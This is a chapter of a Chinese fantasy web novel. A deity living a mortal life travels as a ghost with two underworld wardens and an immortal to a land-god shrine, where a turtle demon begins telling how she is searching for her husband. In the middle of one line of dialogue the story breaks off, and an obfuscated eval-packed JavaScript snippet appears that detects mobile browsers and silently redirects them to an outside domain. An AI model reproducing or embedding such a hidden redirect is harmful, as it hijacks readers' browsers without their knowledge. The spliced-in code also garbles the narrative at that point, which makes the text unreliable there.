李二道刚走到棺材一侧,因齐促训斥的话,心中发虚,全身不由自主地哆嗦,他摸了摸腰间那毛毛躁躁的钱袋子,方才定下心来,偷偷抬眼看向队伍最前,见齐促说话时并没有转回头,而是身形不动地原地呵斥,顿时,大胆地流露出眼中的不满,润了润嗓子,高声喊道:“鸣炮,启程!” “噼里啪啦”声一阵,外加大把大把的谷粒被砸入江中,岸上剩下这一队终于算是也离开了。 时间好巧不巧,刚好卡在酆小洪逾矩问话,第五茗正准备和“酆小洪”这位仙君划清界限的时候。 第五茗的嘴张了张,又闭了闭,还没发出声音,就又被埭骰埭桡二人催促着赶路。 埭骰的怒吼,岸上队伍的离开,以及水中众鬼继续赶路…似都不想第五茗如愿。 第五茗心有不甘,嘀嘀咕咕,小声碎碎念道:“下三道果然还是不能多待,影响气运…影响气运啊!衰死了…死了也衰…” 仙有六通,眼明、耳灵、鼻神敏,有法力的仙君更是通上加通。 第五茗的话一字不落,全进了酆小洪耳朵里,他心如明镜,知道对方刚才未出口的后半句话是什么意思。 一路闷着声,跟在第五茗身后,不再主动搭言搭语。他不给机会,其他事由又妨碍了第五茗。是以,第五茗再没找到借口和机会,和酆小洪掰扯清两人现在的“距离”“亲疏”。 这一路,耽误第五茗与酆小洪摘清关系的另一个原因,原是那归队的埭骰回来后,竟不知为何变成了一个话痨… “蒲小明,你今年有二十吗?” “地域名册不是有吗…” “是吗?哈哈哈哈…” 第五茗对埭骰的业务能力,已经见怪不怪,答道:“嗯,不多不少,正好二十。” 埭骰面色由尬转喜,道:“刚好刚好,我也才二十有二。” “哦…” 真是莫名其妙的一段对话,第五茗忍不住翻了一个白眼。 “你会留在冥界,还是入轮回?” 第五茗一震,不安道:“这不应该第一殿的殿下说了算吗?” 这到鬼门关还有一段路程,埭骰的无知,让她分外心忧:埭骰大哥,你可别吓我,业务不熟归不熟,你好歹还是得知道点常识吧,别的不求,只愿你送我平平安安入鬼门关就行。 埭骰尴尬道:“哈哈哈哈,我竟忘了…还是小明聪明。” 从“蒲小明”到“小明”,第五茗担心着这一路,竟未察对方斗转亲昵的称呼,已慢慢发生了变化。 第五茗呐呐道:“…谢谢夸奖…” 埭骰像个小媳妇,也不知道在挣扎什么,手上无常白袍宽袖都快被他戳出一个洞了,才犹犹豫豫道:“你想不想…想不想…” 想不想… … 埭骰就“想不想”三字,说了至少十来步,第五茗不想吐槽都不行,鄙夷道:“想不想什么!埭骰大哥…你说话怎么扭扭捏捏了,真没劲儿了啊。” 埭骰依旧还在那里“想不想”地支支吾吾,就是不把话说完,第五茗无奈道:“我真是怕了你了,想想想!!你有不清楚的便直接问我,我们此行的目的只有一个,就是安全到达鬼门关。你放心吧,我不会去阎王那里告你状,稍后回了地府,或是到了任职的城隍庙,埭骰大哥你好好补一补这些知识,向上官多请教学习,没有小鬼敢置喙你的。” 另外,还有第五茗身后的酆小洪,此时脸色也在埭骰一声一声的“想不想”当中变得青白。 埭骰话到嘴边又说不出来,急得摆手,摆完手,迎上第五茗毫无遮掩的目光,又害羞地低下头,道:“不是的,我是想问你想不想…想不想…做…做…” 第五茗眼睛一震,埭骰害羞的表情,矫揉造作的模样,和迟迟问不出口的话,让第五茗心中有一瞬不好的预感,未及思虑埭骰为何这般,嘴上便哆哆嗦嗦,急急摆手,拒绝道:“不想不想…我什么都不想…” “啊…” 埭骰明显吃了一惊,鼓足的勇气瞬间塌了一半,伤心难过地小声道:“我就知你不愿做鬼差,不想留在这阴暗的地方…谁都想好好投胎,好好做人,当初…哎…其实做鬼差也挺好的,不会看你出生,只见你品性,你又是只好鬼,如果能留下来,指不定以后还能有大造化。” 话说,埭骰埭桡做上这无常一职,却不尽如他口中所言。 大致过程,可以用三个“一”概括:一念善意获功德,一丝悔过捎钱财,一朝忽悠做穷鬼。 埭骰埭桡因家中富裕,被土匪绑上了山,同日,被绑的还有一位“新娘”。 趁土匪成亲之时,二人假意帮工,暗地里下药迷人,火烧寨子,准备救了“新娘”一起逃跑了。但临到最后,两兄弟心慈,担心火势过猛,把盗匪们活活烧死太过残忍,便临时起意,折返查看。 折返之后,他们才发现蒙汗药和火油其实根本没有效用,心下刚松了一口气,他们和新娘却漏了行踪,又被捉了回去。 盗匪本意在钱财,没想过要埭骰埭桡性命,奈何新娘为了自保,添油加醋地把二人密谋的事告诉给了盗匪,盗匪们心中愤然,当场提刀将二人砍死。 新娘心中有愧,私下给兄弟二人下了葬,立了碑,还烧了几两冥钱。 死也死了,回不了家,两兄弟谨小慎微地跟着无常一路入了鬼门关。 行至鬼门关前… 看门的牛头马面难得遇见到此处了,身上还剩钱财的小鬼,牛头叫喊道:“小鬼埭骰,小鬼埭桡,留步!” 接着明目张胆地那么一忽悠,牛头道:“你二人活着的时候经常被邻居骂笨,应该也知道自己几斤几两。被劫绑,父母筹集赎金动作还慢,实在不幸。” 马面会意,粗声附和道:“好心救人,却被人告发,实在可悲。” 点点头,牛头补充道:“怜悯人命,却被对方乱刀砍死,实在愚蠢。就算去投胎,指不定下一世也没什么好命数。” 两鬼差,一唱一和,马面急不可耐,直奔主题道:“现在冥界有官可以做,条件又不如凡间那么苛刻,就看你们有没有享福的觉悟了,摆脱命运,就只有这一次机会…” 埭骰埭桡听得一愣一愣的,呆呆地不做任何回应。 牛头担心两人就此迈进鬼门关,急忙劝道:“话点到此处,鬼门关、奈何桥一走,可就没有回头路,你二人仔细思量…仔细想想!!要知道,小鬼修出魂命,便可筹功德、建福报,从而得神格,你二人品性端良,只要有了神格,说不定日后还能飞升成上仙,受万民…不不不,受曾经看不起你们的人供奉。” 要不说二人愚笨呢,做鬼也是一只蠢鬼,命数既定,哪有什么机缘飞升成上仙。 另外,他们此番有功德,入了鬼门关,第一殿阎王也会按照他二人的命数,领他们过十殿试,送他们上任鬼差。 他们二人却被牛头马面忽悠,把因为心中有恨、分文未用、新娘烧来的钱财悉数上交,避开了第一殿的审查,入鬼门关走了另外一个流程,领了黑白无常来做。 “鬼差?” 第五茗心中的不安消失,面色和悦,喜极而泣道:“多谢埭骰大哥好意,我啊…倒是想做鬼差,只是没法子的,没法子的…” 怎么回事! 今天“大鬼”“小鬼”都想拉我去冥界地府做差? 东岳帝君和酆都大帝真有挖墙脚的意思? 这事真能成了?? 不对啊… 埭骰只是一名无常… 这种任务,不该分派到这方来才对吧… 啊! 这是怎么回事!!!好心动啊… 第五茗面上镇定,内心早已万马奔腾。 她想不明白,也想不清楚,上至泰山仙君,下至冥界无常,都在劝她去修魂命,做鬼仙。 若不是身上这副天生神格,播她在冥界待的时日,早就混成一名阴使了,何须他们这般来劝。 埭骰却不看见她脸上的忧愁,听闻她心中也是有过这个想法,喜悦道:“真的?” 第五茗哀叹道:“我何时说过假话?” 埭骰道:“冥界还在扩招,你生前没犯过大错,我和鬼门关的牛头马面相熟,他们有一个法子,只需要十万冥钱就可以买下一个官职。” “十万!” 第五茗眼睛惊得溜圆。 她知道鬼差阴帅贪墨得厉害,没想到这么狠,询问道:“埭骰大哥和埭桡大哥该不会就是花了十万买来的官职吧?” 埭骰摇摇头道:“四十万。” 第五茗道:“一人二十万??!” 埭骰手上比了比,道:“一人四十万,一个无常官职。” 第五茗震惊道:“四十万才能买一个无常位,那十万还能买什么?你不会被骗了吧?” 埭骰小声道:“能买的,十万一鬼,可买鬼差位。” 第五茗木木道:“十万?呵…买一无权无势的鬼差位,真够黑的…” 黑!真的黑!! 她忍不住在心中吐槽,面上却不漏声色,对于埭骰的好意,继续拒绝道:“埭骰大哥,咱们也算有缘,以后我投胎了,我觉得我们还能再相见…十万一鬼差,我应该无福消受,况且…” 我也没资格小瘦。 埭骰不等她话说要,极力劝道:“你真不留下来?我和埭桡压棺材的老婆本各自还有十万…你要是愿意,我的老婆本就都给你。” 有句俗话:压棺材的老婆本,小偷见了都要犹豫两分。 那是凡人的一种执念,生前无论如何都要结婚娶妻,生子传宗接代,是以会把最重要的老婆本放在棺材里,这样就算小偷来了,也会因为阴气瘆人,忌惮两分。 第五茗道:“不了不了,老婆本老婆本,自然是取老婆用的,埭骰大哥,这钱你还是自己好好留着,别给别人花了。” 埭骰又害羞起来,嘀嘀咕咕道:“你也不算别人…” 他此话刚出口,那酆小洪在二人身后终是没忍住,一个抬步,把埭骰又一脚,踩进了水里。 第五茗一怔,道:“仙君,你?” 仙君做事向来都遵天庭那套准则,不欺弱者,不违天理。 水面上还有法术遗留的金辉,酆小洪不解释,第五茗也不好指摘,朝水下呼喊道:“埭骰大哥…埭骰大哥?你没事吧?” 酆小洪收了脚。 咕噜咕噜…埭骰冒了起来,拂拭身上水渍,满脸歉意道:“哈哈哈,今天也不知为什么,身子有点重,总是淹进水里。” 再一脚,埭骰还没反应过来,又进了水里,这次没有先前那般快地浮起来,原是酆小洪双脚踩在了埭骰沉溺的水面上。 第五茗正义道:“仙君这是做什么?” 酆小洪瞟了眼脚底,惜字如金,声音还算和气,道:“吵。” 第五茗以为是在敲打她,便低下了头,踢了踢水,应道:“哦…是有点吵,我们安静点?” 酆小洪道:“他安静就可以了。” “啊?” 第五茗还没反应过来,酆小洪退后一步,水面咕噜咕噜冒泡,埭骰又浮了上来,却是不论他如何张嘴,声音也发不出半分。 见状,第五茗安慰道:“埭骰大哥,你许是太累了,嗓子都哑了,我们安安静静赶一会儿路吧,你也休息休息,到了土地庙就好了。” 到了土地庙,送走身后这尊大神,你的术法就能解了。 话闭,第五茗见埭骰不听劝地摇头,嘴唇一张一合,一连串的话,噼里啪啦地说着,转过头,不再看身旁执着的埭骰,跟着队伍专心赶路。 州郡有城隍,乡村有土地,人间芝麻官,相连天和地。 神仙庙宇,形形色色,大多风格都差不多,红墙金瓦,雕栏画柱,颜色分外复杂,装饰也格外华丽。 香火旺盛的要在主殿外挂满大红灯笼,势要繁华至盛,里面的神像就更不用说了,能塑金身的坚决不将就彩绘石像,能有绝美画像的,也不会 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众人水行转陆地的岸口,正好是石井村附近,石井村的土地庙就搭建在岸口对面,倚山而建,不是石板搭砌,亦非现成的山凹,墙上糊了腻子,顶上还有定制小瓦,小庙有一人高,庙檐上挂了红绸。 透过土地庙门口,还能隐约瞧见里面一座实打实的小像,神像前有香坛,插满了香火,丝丝灰烟萦绕在庙宇周遭。 庙门口前的石板上钱灰痕迹深沉,似被火灼一轮又一轮,才以至于被雨水冲刷不掉。 就在第五茗一行经过的瞬间,便有一岸口靠停的船家,急急拿着香烛,和平日用来供奉的瓜果,从村外山路上赶来,规矩地把东西摆放在石井村土地庙面前。 船家一边烧着钱纸,一边念道:“土地公公显显灵,这水已经稳了,我们全家都靠这条船吃饭,可别再发水了…保佑我们平安顺遂,稳稳当当…” 船家凡胎肉眼看不见,他的祈愿土地都听见了。 小庙金光微闪,那是土地在受他供奉,应他许愿。 船家在小庙金光中继续许愿,道:“保佑我捞到一兜子鱼虾,保佑我家小儿早日讨着女人,保佑我家病婆子早日登西,保佑我家大富大贵赛过邻里…” 越说越离谱… 见过祈求平安,没见过祈福变下咒,第五茗脚下趔趄,差点扑在前面鬼身上,幸好右手被埭骰眼疾手快拉住,左手和右肩被身后的酆小洪扶稳。 她窘然笑道:“哈哈哈,没站稳,没站稳,没事了没事了…这路许是太不平了。” 这一步,有点跌份,第五茗做了几万年的神仙,居然差点因一凡人栽倒在地。 她巧妙地从两人手中挣脱出来,端正身姿,揣起双手,面上镇定地跟着队伍继续往前走,嘴上掩饰尴尬道:“这石井村土地也是倒了千万年的霉运,把庙宇建在岸口,受了不该受的福气,现在报应来了吧,吃了别人的供奉,结果应了个黑咒…活该啊活该,这得至少要用十万功德来消解。” 声音越来越小声,她经过时,嘀咕啐道:“你倒霉就算了,还差点害得我也摔一跤…你真是罪过。” 埭骰在一旁赞同地点头。 酆小洪则见怪不怪,道:“仙妖神鬼均无异,种何因,得何果。大水刚过,路面还有些湿滑,小心脚下。” 第五茗顺着台阶而下,道:“是得注意了,路有些不好走。” 埭骰不明所以,张了张嘴,无声道:湿路碍事? 上官没这么说过啊? 上了陆地,鬼身都是飘着走,怎么会摔跤? 你们刚做鬼,可能不清楚…啊啊啊…怎么还是发不出声音… 挣扎了一番,他只能妥协,把话憋了回去,闷声赶路。 再接着走了数里,一行人终于回到了平安村。 正是先前埭骰埭桡迷路时,遇见老翁的村子。 绕着石料场山脉,走了大半日,终于又回到了这里… 比起清晨,此时路面要干爽的多,村子里那一人宽的沟壑还在,地上多了数道深浅不一的脚印,但都是一般大小,显然是一个人踩出来的。 老翁的身影不见了,早上还冒着大烟的药草,此时也已变成了一堆灰,万籁俱寂,空荡荡的村子四处透露着死气。 少倾,一两声哀鸣鸟叫响起,引来众人的议论声:“鸟雀报喜,乌鸦道丧,晦气!!去去去,叫什么叫,烦人得很…” “你就是心里不痛快,有乌鸦送行才乐嘛。” “十一伯估计去石料场了,不然也不会只有鸟叫声…” “都在说些什么呢…好好上路吧,来世又是一条好汉。” “十一伯会替我们收尸吧?” 一人肯定道:“会的。” “可是有瘟疫…十一伯去了,会不会…” “呸呸呸…” “我也‘呸’两声,呸呸呸…” “…” 除了此处众人的热闹,平安村土地庙那方,也不似村子里面这般安静,哗啦啦的翻纸声,十分吵闹… 平安村土地庙修建在村子去往后山的路边,倚靠后山的崖石凹,旁边还有一颗野果子树遮阴。 没有香坛,没有信众的对联,也没有红绸小瓦,石壁凹处贴着一块碎布,布上依稀可见一圈加五笔叉的画像。 这是酆家夫妇去世后,第五茗用碳木为土地庙画的小像,为的是让土地多多关照酆家夫妇,让土地能护他们一路好走。 一女子苦苦哀求的声音从庙内传来:“仙者?有翻到吗?” 又一女子声音传来,却是冷静平稳得多,声音却是清脆又俏皮,道:“还没还没…他又不是平安村人,风雨江发大水死这么多异乡人,我得仔细找找。再说了,你自己也不清楚他是活人,还是死人,这不就更不好找了…等等,再等等。” 话音结束,阵阵翻纸声,又从平安村土地庙内传出来。 这时,庙外,一张冥钱黄纸朝平安村土地庙门,空无门板的地方,飞贴而上,钱面上通阳太明之印,流光闪烁一瞬,矮小简陋的土地庙瞬间消失不见,换而之,是如县镇府衙内堂模样的地方。 此地没有大门,四周平坦空旷,平安村之景虽近在咫尺,却只看得见够不着。 多出的这间堂房,房面朝前开口,没有门,左右和后侧全是柜子、架子,上面杂乱地码列着书籍案册,正中央放着一张长桌,桌后有一把太师椅,椅子上铺着数张动物毛皮。 第五茗等人进去的时候,那椅子上正坐着一位穿鹅黄素色宽松麻衣的女子,年岁不大,容颜娇俏,头上带着一只木钗,钗子梢头有一颗暗红色小果。 第五茗见过这种果子,正是平安村土地庙旁那颗野果子树结出来的果子,她还吃过,味道极酸,果肉化渣,吃一颗果子还得吐出五六粒小核,她却特别不幸,总是吃到八颗果核的果子,特别麻烦。 案桌前,女子一手执笔,一手翻阅案上册集,少顷,一本阅闭,腾出的一只手,向一旁探出,竟掏回两三个暗红色小果子。 她一颗一颗的地吃起来,咽下一口果肉,便仔细吐出嘴里的籽,低头用笔杆扒拉,道:“一,二…七…七!还是差一粒…” 女子又塞了一颗果子进嘴里,重复刚才的动作,却不再数数,吩咐道:“左边第二列第三排,从右至左第十七本,拿过来吧,那是最后一本异乡人名册了。” 顺着女子声音而去,才发现,在书架中还隐藏着一女子的身影。 这女子,众人都眼熟,盘头素髻,绸带锦衣,正是先前在风雨江岸上闹事后消失的少妇。 她应道:“嗯。” 片刻,便手熟地,捧着一本册集放在案桌上,在案前女子埋怨着“怎么就吃不到八粒…”时,她顺手收拾了桌上的小小果核,随后安静地等候在一旁。 8. 阳寿尚在魂被勾1 这厢,埭骰埭桡已经在堂前的空地处,为众人解了手腕上的铁链枷锁。 埭桡对众人道:“候在此处。” 转身捧着地域名册走到案桌前,他恭敬一礼,道:“黑无常埭桡,见过上官。” 埭骰紧随其言,道:“白无常埭骰,见过上官。” 埭桡道:“此为平安村一百九十九人的地域名册,还请上官核阅。” 女子点点头,站起身来,执笔轻挥,堂外众鬼左侧,倏地便出现了平安村的那颗野果子树,树下垒放了数口大坛子,坛口飘出阵阵清幽之气,甚是令鬼心动容。 女子对堂外大声道:“平安村土地酸楂,往日受众位供奉,今日诸位上路,特备雪水,请饮之,解渴解乏。” 众人道:“多谢仙者。” 一百九十九份功德,得来轻松,酸楂含笑坐回椅子上,对面前站着的两人,吩咐道:“你们一人去给鬼魂分雪水,一人去把右侧第一列,第四排架子上的册子,全部搬过来,方便待会儿核对地域名册。” 顿了顿,她多解释了一句,道:“绿壳龟妖阮瓀先你们半日到这里,待我为她查完这本名册,便为堂外鬼魂办路引。” 绿壳龟妖? 妖??? 埭骰惊恐万状,看向酸楂身旁的少妇,道:“她是妖?” 埭桡也分外吃惊,道:“居然是妖…” 酸楂朝身侧望去,道:“认识?” 阮瓀摇了摇头。 埭骰同样否认,道:“不认识…” 埭桡解释道:“途径风雨江时,她在岸上,我们在水中,有过一面之缘。” 埭骰道:“她看着更像人…” 酸楂睨了二人一眼,道:“大惊小怪作甚,动动脑子,凡人能入我土地庙之内境?” 阮瓀在一旁,犹豫开口道:“仙者,若是这本册子也没有,我可否在堂外的人群里,也寻一寻我夫君的气息?” 酸楂道:“此事不归我管,不要问我,你的龟壳十年寄放,只换我这里名册一阅。” 看见整洁无核的案桌,酸楂一时心软,改口道:“不过,你可以问问二位无常,鬼门关之前,这群鬼魂,他们二人说了算。” 阮瓀小步上前,屈膝一礼,道:“二位无常大哥,我寻夫君至此,现下了无音讯,可否容我在堂外群鬼中寻上一寻?” 埭桡道:“堂外鬼魂均是平安村凡人之魂,冥界地府的无常,如今是不勾精怪了。” 阮瓀满脸担忧,道:“我夫君是一凡人…我寻的也不是他的魂魄,而是气息踪迹。” 酸楂补充道:“他夫君是一名身怀大功德之人,你们若是可以,给予点方便,指不定日后她夫君飞升了,还能记你们二人的好。” 埭桡埭桡虽然没有眼力见,但酸楂已经如此提示,他二人再听不懂,就不应该了,于是齐声应道:“夫人请便。” 酸楂低头继续忙碌,嘴上不忘提醒道:“你二人也忙去吧,办路引时我会再唤你们。” 埭骰埭桡同声道:“是。” 埭桡独自往堂内书架处走去。埭骰则领着阮瓀朝人群走来,行至野果子树下,他才对待在原地不敢动弹的群鬼,喊道:“树下可歇脚,口渴的过来领雪水。” 百鬼游动,刹那间,平安村土地庙内比先前更加喧哗。 埭骰的第一碗雪水打给了第五茗。 他见第五茗小口小口啜饮,不似乡野村姑,倒真像是一个读书人,和说话时一样,看着赏心悦目,听着余音绕梁,真叫鬼心荡漾…他极为满意,不自觉地,在嘴角漏出了笑容。 若不是酆小洪挤坐在第五茗身旁的另一根凳子上,挡了他的视线,他势必都要忘了,此刻还得为群鬼分派雪水。 好在刚刚那几眼,已让他满足。 嘟囔了酆小洪几句不是,他面色喜悦,转身忙碌地为其他鬼魂打水,亦不觉辛劳。 雪水清凉,第五茗一解疲乏口燥,顺着这份舒坦,让她习以为常地关心起身边“痴儿”,道:“渴了吗?喝吧…” 桌上用过的水碗,顺手地刚推出一寸,在她瞧见对方清明的双目时,便尴尬地停住了。 第五茗进退维谷,偷偷撤回了推出去的碗盏,改口道:“仙君…你要不要也去领一碗雪水饮饮,山顶融雪,也不是什么地方都能喝到的…” 酆小洪笑道:“多谢上君关心,我不渴。” 对啊对啊…你是仙君,历劫成功,有了法术,招得来新生水,又怎么会缺一碗雪水… 第五茗转移话题道:“待会儿领了路引,仙君可是要离开了?” 酆小洪道:“离开?” 不答反问,第五茗一脸狐疑,很是怀疑身旁人的身份:竟不清楚上仙历劫的流程? 但对方使得出「招来」「迩去」,又有至纯至厚的法力,的确是仙家之人,这个是无可厚非的事实,第五茗明细道:“仙君自泰山来,应当知晓,仙者历劫,成功飞升者,到土地这里消了人间名籍,便就是自由身了,不用跟着无常鬼差再去冥界地府转悠一圈。” 听到此处,酆小洪明白了第五茗的意思,道:“不急着离开。” 第五茗道:“可是有任务在身?” 酆小洪道:“没有。” 第五茗又道:“仙君是要同我们一起入鬼门关?” 酆小洪道:“不入。” 第五茗尬笑道:“风雨江发大水…人间死伤上万,冥界地府要渡三界鬼魂,如此算来,地下怎么也得有个两三万的鬼魂急需引渡。这么大的事,泰山之上应该没有没事干的仙君吧?” 酆小洪道:“嗯,想来是都忙着。” 偷懒?也不像啊!东岳帝君到时候一查一个准,现在偷一时懒,回去还不得吃一山头的苦。 第五茗不解对方为何没有差事在身,继续问道:“仙君已经飞升,东岳帝君未召你回去吗?” “没有。” “冥界焦头烂额,难道你不准备回去帮帮忙?” “不用我帮忙。” “仙君,位阶很低?” 第五茗抿了一口雪水,想起水坛处忙碌的埭骰,朝人群里看了眼,瞬间否定了最后问出口的这一句话。 凡遇大事,无关身份,几位帝君做事,从来都是把能用的人都用起来,怎么会因为位阶大小,就放任不管… 果然,酆小洪的回答,和她的想法如出一辙。 他道:“如今不低了。” 第五茗十分唏嘘,心中又有了另一种想法,共伴一世的人,本尊可能是一个懒惰的仙君。 她心中嗔语:难怪被派下来历劫,原是一样的散逸。 最后吐出一话,她感慨道:“仙君,很闲啊…” 酆小洪点点头,眼望那群争先恐后讨要雪水的鬼魂们,道:“不忙。”。 突然,桌旁的一侧,从群鬼里挤进一身影,靠近第五茗,声音焦急哀求道:“姑娘,能否请你展开手掌,我在寻我夫君…” 还没等对方说完话,第五茗刚转身寻出声之人,抬头却只瞧见酆小洪清瘦的脸颊。 不过一息,酆小洪已挪身站在了第五茗另一旁,身子贴得很近,小臂隔断了身后那一双来拉扯第五茗的秀手。 以背迎敌,以面护人… 眼前这一幕,让第五茗神出形外,她喃喃唤道:“仙君…你这做法,有点危险啊。” 酆小洪并未回应第五茗的“关心”,而是厉声对身后凑上来的人,喝道:“退后!她身上没有你要找寻的东西,无需探测。” 第五茗回过神,侧了侧身子,才看见被酆小洪遮挡的人,正是那扰乱风雨江岸送葬队伍的少妇。 她扯了扯酆小洪衣襟,示意他让开一点,道:“仙君,不过一小妖,何须动怒。” 酆小洪身形未动,沉沉道:“上君下三道之行太多,凡胎魂魄不稳,小妖气息会有损魂体,还是不要接触的好。” 渡劫秘闻? 居然都知道这些,看来修行时,也没偷多少懒嘛。 但,是不是有些一知半解了。 第五茗对于酆小洪的谨慎,摇头笑了笑,道:“无妨无妨,马上就到地府了。” 她对这‘懒惰’的泰山仙君继续解释,道:“仙君可能不知,投胎时会重新结魂魄,此世损伤点,不碍事,下一世会结一副新的,再说了…那小妖没有恶意。” 沉思片刻,酆小洪依旧没有让步,目光肃肃,紧盯嬉皮笑脸的第五茗,对身后人厉声道:“退后一步,不许随意引出妖气。” 阮瓀道:“是。” 酆小洪感受到妖气淡薄了一些,才勉强让了身,守在一旁。 阮瓀踟蹰难进,脚下挣扎了几分,面上又害怕,又不愿退缩,央求道:“姑娘也是仙者吧?您身上有金光,虽然光弱,不及土地酸楂的耀眼,但还是能看见些许。我…我…想请您帮我寻一寻我夫君。” 说着说着,人就哭起来了。 比起孟婆雨无伤那假模假样的流泪,阮瓀梨花带雨的模样,第五茗看着是真真的有些心疼,道:“我算是仙者吧,但你可能有些眼拙,我身旁这位才是有法力的仙君,你要是有什么事,不防说给他听听。” 阮瓀却惊呼一声,道:“怎么会…他身上并未着染金光,也是仙者?” 第五茗道:“是的是的,仙君本事,岂是你一只小妖能看透的。” 瞧见酆小洪仍旧浑身清冷,一脸严肃,事无关己的态度,她建议道:“夫人,你要不先做对面櫈上,同我…以及这位仙君讲一讲,你来此地寻夫君,究竟是怎么一回事?” 乌龟天性虽笨,但早已修成人形的龟妖,早和寻常精怪不同,机灵又细腻。 阮瓀不再多话,面上眼泪簌簌地落着,绣鞋碎步移动,在第五茗的提点下,落坐在了对面木凳上。 她眼睛时不时从掩面的袖口中漏出,以此观察对面两人的神情。 第五茗从长凳中间往一旁挪了挪,拍了拍身旁空出来的一节,道:“仙君,喜欢听故事吗?” 见酆小洪面色柔和了一些,还点了点头,她继续道:“反正土地和无常核对名册还有一会儿,你也坐下,一起听听呗。” 酆小洪极其自然地应道:“好。” 听故事前,第五茗习惯性地先喃喃自语,小声点评道:“也不知,这份本子是司命府哪位仙君写的,凡妖恋,倒是挺会玩的…我还没写过这种命格簿子呢,只要不俗套就好。” 四尺长凳,两人并座,万分稳固。 第五茗悄悄放了一只手在座下,轻轻牵扯酆小洪衣襟,瞧见对方有所察觉后,才小心翼翼,对此番举动做出说明,道:“仙君不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547186|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必紧张,瞧小妖模样,也算不易,若是寻人这种方便又简单的事,仙君大可接一接对方的祈愿,妖界供奉的功德一般都不会少。此行顺带一事,何乐而不为呢?到时候东岳帝君对风雨江之事点起名来,你亦有说道,不会叫他把你问责了。” 啊… 她原是想给这位‘偷懒’的仙君指一条轻松的活儿。 酆小洪却道:“上君,先听故事吧。” 第五茗颔首同意,不再规劝,道:“好。” 阮瓀止住哭泣,声音哽咽,婉转诉来。 话说十八年前,过水湖岸,有一良缘,通渠少女和备考书生,相伴六载,喜结连理。 通渠少女正是阮瓀。 她真身是一只绿壳乌龟,受泰山脚下水池里的灵气滋养而化形,在池子里修炼不足十年,不知何时,水池里又生了个善妒的大妖,小妖但凡有点姿色容貌,总要被揉搓一番。 阮瓀虽是一只乌龟,容貌却生得明丽,有段时间大妖就盯上了她。 她受不住大妖折磨,连夜背着行囊,顺水而行,稀里糊涂到了临安郡,又稀里糊涂闯进了过水湖,遇见了水里的大妖湖主。 好巧不巧,过水湖那段时日,正好缺了一位疏通东河道的小妖。 湖主便留下了阮瓀。 东河道有一书院,里面都是要入皇城赴考的举人。 书声朗朗,官煞浓浓,疏通东河道的淤泥,就不能走歪门邪道的简单法子,只能一根草,一捧泥地这么去做。 “你们干什么呢!没看见我在清理淤泥吗?” 阮瓀满脸泥垢,气急败坏地指着岸上嬉闹的书生们,道:“信不信我告诉你们先生!你们这样像是要赴考的学子吗!!!” 傍晚时分,东河道边,书生们打闹不止,冰凉湿软的淤泥,是他们泄燥的对象,众人调戏道:“日日清理有何用,反正临安郡也不会发大水,通与不通有何用!!” “我瞧也是,还不如把泥土都填进去,铺成路,我们也不至于每日都绕这么远。” 一男子怒火更胜道:“去他娘的!!过水湖!!既然要通渠,为什么叫一女子来!!!倒是把那蓟安塬叫来啊!!!我倒是忘了,除了过水湖旁这书院还念着他,世间已无他的口号!!” “算了算了,不过一篇小论,咱们对着淤泥发泄发泄就好了,先人之名还是不要辱。” “他说的有道理,我们都是要入朝为官之人,谨防落下口实。” 男子愤怒的声音又传了过来,道:“什么口实!!!我就不喜他!我生于临安郡已有十六年,就没见过它发大水,他领人留下一个过水湖,如今倒是成了阻拦我们入朝为官的门槛,如何说得过去!!再说了,他是什么狗屁先人,不入史册,不载青史,却是会装模作样为难我们!!” “算了算了,铁锹给你,多填两娄泥回去,可好?” 男子顿时泄了气,摆手道:“罢了,他一个化灰的古人,我犯不着和他置气,我先回书院收拾东西。” 说完,男子便锤头丧气地往回走,势要和那篇被画红的小论,血战到底。 二三十人,因一则政论,将半渠淤泥回填进了水里。 见状,阮瓀有气无处撒地咆哮道:“你们这群读书人,真真是不懂事,没看见我辛苦了大半日吗…” 快要落下的日头,将湖水变得橙红,映得阮瓀的脸色也分外红涨,她脑后淡绿绸带飘舞,发髻上钗饰伶仃作响,顺着手上便生成了一道传音法术,向湖中心送去。 “湖主,今日的工作可不可以明日再来,做不完了。” “不可,今日事今日毕。” 一道回音法术在阮瓀耳边响起,须臾,她仰天叹息,面色惆怅,无语凝噎。 忽地,她顶上却闯入一张眉清目秀,丰神飘洒的少年脸庞。 少年的嘴一张一合,对方征求道:“我可以帮你清淤吗?” 阮瓀眨巴眨巴眼睛,握紧手中铁锹,一时出了神,吞咽道:“好啊。” 转瞬,铁锹一掷,她正回脑袋,突然改口,左臂一举,喊道:“等一下!” 少年身上的衣服,和刚刚那群学子一模一样,阮瓀想后退半步,以表拒绝,却被流水阻了步伐。在阮瓀的制止声中,少年已经蹲了下来,和她面对面,相邻不过一笔距,不外是一人在岸上蹲着,一人在水中站着。 少年抬头回视,疑惑道:“嗯?姑娘是有为难的地方吗?” 阮瓀道:“你是前面书院的人,你…” 别头不悦,她愤懑道:“你和他们一样。” 少年点点头,道:“嗯。” 少顷,他声音嘶哑了两分,道:“所以我来赔罪。” 沉吟良久,他又解释道:“我刚刚听见姑娘自语,今日好像要将这一截渠道清理干净,天色已经越来越暗,姑娘一个人在这里不好…” “怎么会不好?平日里就是我自己清理的。” “天色太晚了,不安全。” “怎会不安全?” “你是一姑娘。” “你还是一书生呢,和他们一样的书生。” “我…” 少年迟迟不肯妥协,半蹲的身子没有丝毫变化,坚持道:“可以让我帮你吗?” 阮瓀义正言辞道:“不可以,坏人!” 9. 阳寿尚在魂被勾2 少年离开了,阮瓀终于放下心,开始埋头苦干,着手清理河道里的淤泥。 没过一晌,少年又回来了,双手提了数十盏灯笼,十分狼狈。 他沿着这段水渠,挨着挨着把执柄插进了土里,又把灯罩里的烛火引燃,这一截渠道瞬间被点亮。 做完这些,少年也没闲着,借着灯火,抽出腰间的书籍背诵。 一把铁锹,一根淡绿色发带,水渠中挽起裤脚的少女,和岸上手持书卷的书生少年,在东河道的一截水渠,无声相伴到月上梢头。 